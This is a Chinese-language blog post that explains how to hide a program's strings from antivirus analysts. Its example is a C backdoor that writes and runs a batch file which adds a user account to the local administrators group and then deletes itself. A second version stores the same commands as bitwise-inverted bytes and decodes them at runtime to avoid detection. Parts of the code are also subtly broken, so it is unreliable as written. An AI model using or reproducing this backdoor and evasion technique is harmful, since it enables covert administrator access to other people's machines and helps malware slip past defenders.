学步园

在汇编程序中，为了防止AVer对病毒进行反汇编，经常会对其程序中的静态数据资源进行保护，如花指令等等。这在C/C++语言中似乎很难实现。下面说说我的一个保护字符串的方法。
例如下面程序：
//-----------------------------------------------------------
int
main()
{
    FILE *fp=fopen("haha.txt","wb");
    fprintf(fp,"net user
aaa bbb /add/r/n");
    fprintf(fp,"net localgroup administrators aaa
/add/r/n");
    fprintf(fp,":CLEAR/r/n");
    fprintf(fp,"del
hack.exe/r/n"); //hack.exe为程序名
    fprintf(fp,"if errorlevel 1 goto
CLEAR/r/n");
    fprintf(fp,"del
haha.txt");
    fclose(fp);
    system("haha.txt");
    return
0;
}
//-----------------------------------------------------------
一个简单开后门的程序。可以用下面方法保护字符串不在可执行文件中明文显示:
//-----------------------------------------------------------
int
main()
{
    int i;
    char msg[]=
{
        '/x97','/x9E','/x97','/x9E','/xD1','/x8B','/x87','/x8B','/xFF','/x88',
        '/x9D','/xFF','/x91','/x9A','/x8B','/xDF','/x8A','/x8C','/x9A','/x8D',
        '/xDF','/x9E','/x9E','/x9E','/xDF','/x9D','/x9D','/x9D','/xDF','/xD0',
        '/x9E','/x9B','/x9B','/xF2','/xF5','/xFF','/x91','/x9A','/x8B','/xDF',
        '/x93','/x90','/x9C','/x9E','/x93','/x98','/x8D','/x90','/x8A','/x8F',
        '/xDF','/x9E','/x9B','/x92','/x96','/x91','/x96','/x8C','/x8B','/x8D',
        '/x9E','/x8B','/x90','/x8D','/x8C','/xDF','/x9E','/x9E','/x9E','/xDF',
        '/xD0','/x9E','/x9B','/x9B','/xF2','/xF5','/xFF','/xC5','/xBC','/xB3',
        '/xBA','/xBE','/xAD','/xF2','/xF5','/xFF','/x9B','/x9A','/x93','/xDF',
        '/x97','/x9E','/x9C','/x94','/xD1','/x9A','/x87','/x9A','/xF2','/xF5',
        '/xFF','/x96','/x99','/xDF','/x9A','/x8D','/x8D','/x90','/x8D','/x93',
        '/x9A','/x89','/x9A','/x93','/xDF','/xCE','/xDF','/x98','/x90','/x8B',
        '/x90','/xDF','/xBC','/xB3','/xBA','/xBE','/xAD','/xF2','/xF5','/xFF',
        '/x9B','/x9A','/x93','/xDF','/x97','/x9E','/x97','/x9E','/xD1','/x8B',
        '/x87','/x8B','/xFF','/x97','/x9E','/x97','/x9E','/xD1','/x8B','/x87',
        '/x8B','/xFF'
    },*pos=msg;
    //解密后的明文为:
    //{"haha.txt","wb","net
user aaa bbb /add/r/n",
    //  "net localgroup administrators aaa
/add/r/n",
    //  ":CLEAR/r/n","del hack.exe/r/n","if errorlevel 1 goto
CLEAR/r/n",
    //  "del haha.txt","haha.txt"
    //}
    for(i=0 ;
i<strlen(msg) ; i++)
        msg=~msg;                              //解密字符串
    FILE
*fp=fopen(pos,pos+9);
    for(i=0;i<6;i++)
{
        fprintf(fp,pos);
        pos+=strlen(pos)+1;
    }
    fclose(fp);
    system(pos);
    return
0;
}
//-----------------------------------------------------------
用到的算法其实很简单，就是将字符串加密后保存在源中，再通过一小段解密代码解密，很是方便。WIN32反汇编后的代码很冗长，其中的明文字符串往往是AVer的侦察信息提示。如果在一堆汇编代码中看不到一段认识的代码，是人头都会大的。这种方法也可以防止别人破译你的程序，破译者在寻找注册代码位置时大多是从PE文件中的明文字符串开始猜测尝试的。当然，此时的字符串加密算法就得复杂一点了。如果程序中需要加密的静态数据很多，可以编写一个代码自动生成器生成静态数据的密文，这里就不再缀言了。